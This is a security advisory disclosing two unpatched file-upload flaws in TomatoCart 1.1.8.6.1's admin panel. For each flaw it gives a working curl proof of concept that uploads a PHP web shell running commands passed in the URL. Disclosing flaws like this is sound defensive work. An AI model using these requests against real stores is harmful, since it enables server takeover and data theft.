TomatoCart 1.1.8.6.1 Shell Upload

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: TomatoCart v1.1.8.6.1  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Contact: [email protected]  
Vulnerability Type: Code Execution  
Remote Exploitable: Yes  
Reported to vendor: 09/29/2015  
Disclosed to public: 11/13/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
TomatoCart has multiple locations where the upload of images is allowed. In two  
of these locations, the file type and extension of the uploaded file are not  
checked, which leads to code execution.  
  
Please note that an admin account with at least some privileges is required to  
exploit this issue.  
  
3. Code Execution 1  
  
CVSS  
  
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C  
  
Description  
  
When uploading a new slide image, there are no checks as to what type the  
uploaded image actually is. Because of this, an attacker that gained admin  
credentials can upload a PHP file and thus gain code execution.  
  
The rights needed are Content -> Slide Images.  
  
Proof of Concept  
  
  
curl -i -s -k -X 'POST' \  
-H 'Content-Type: multipart/form-data; boundary=--------1106460043' \  
-b 'toCAdminID=4tfpeotn6bp65cm70mcekauhk1; PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \  
--data-binary $'----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"image1\"; filename=\"test2.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php \x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"module\"\x0d\x0a\x0d\x0aslide_images\x0d\x0a----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0asave_slide_images\x0d\x0a----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"token\"\x0d\x0a\x0d\x0a0842b57bd667e448f494c7f6c268d4f3\x0d\x0a----------1106460043--\x0d\x0a' \  
'http://localhost/ecommerce/TomatoCart-v1-released-v1.1.8.6.1/admin/json.php'  
  
3. Code Execution 2  
  
CVSS  
  
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C  
  
Description  
  
When uploading a new product image, there are no checks as to what type the  
uploaded image actually is. Because of this, an attacker that gained admin  
credentials can upload a PHP file and thus gain code execution.  
  
The rights needed are Content -> Products.  
  
Proof of Concept  
  
  
curl -i -s -k -X 'POST' \  
-H 'Content-Type: multipart/form-data; boundary=--------1775010584' \  
-b 'toCAdminID=4tfpeotn6bp65cm70mcekauhk1; PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \  
--data-binary $'----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"APC_UPLOAD_PROGRESS\"\x0d\x0a\x0d\x0a5305684637\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"UPLOAD_IDENTIFIER\"\x0d\x0a\x0d\x0a5305684637\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\x0d\x0a\x0d\x0a4194304\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"ext-gen4881\"; filename=\"test.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php \x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a\x0d\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"cmd\"\x0d\x0a\x0d\x0aupload\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"dir\"\x0d\x0a\x0d\x0a.\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"token\"\x0d\x0a\x0d\x0a0842b57bd667e448f494c7f6c268d4f3\x  
0d\x0a----------1775010584--\x0d\x0a' \  
'http://localhost/ecommerce/TomatoCart-v1-released-v1.1.8.6.1/admin/json.php?module=products&action=upload_image'  
  
5. Solution  
  
This issue has not been fixed by the vendor  
  
6. Report Timeline  
  
09/29/2015 Informed Vendor about Issue (no reply)  
10/21/2015 Reminded Vendor of Disclosure Date (no reply)  
11/13/2015 Disclosed to public  
  
  
Blog Reference:  
http://blog.curesec.com/article/blog/TomatoCart-v11861-Code-Execution-88.html  
  
  
`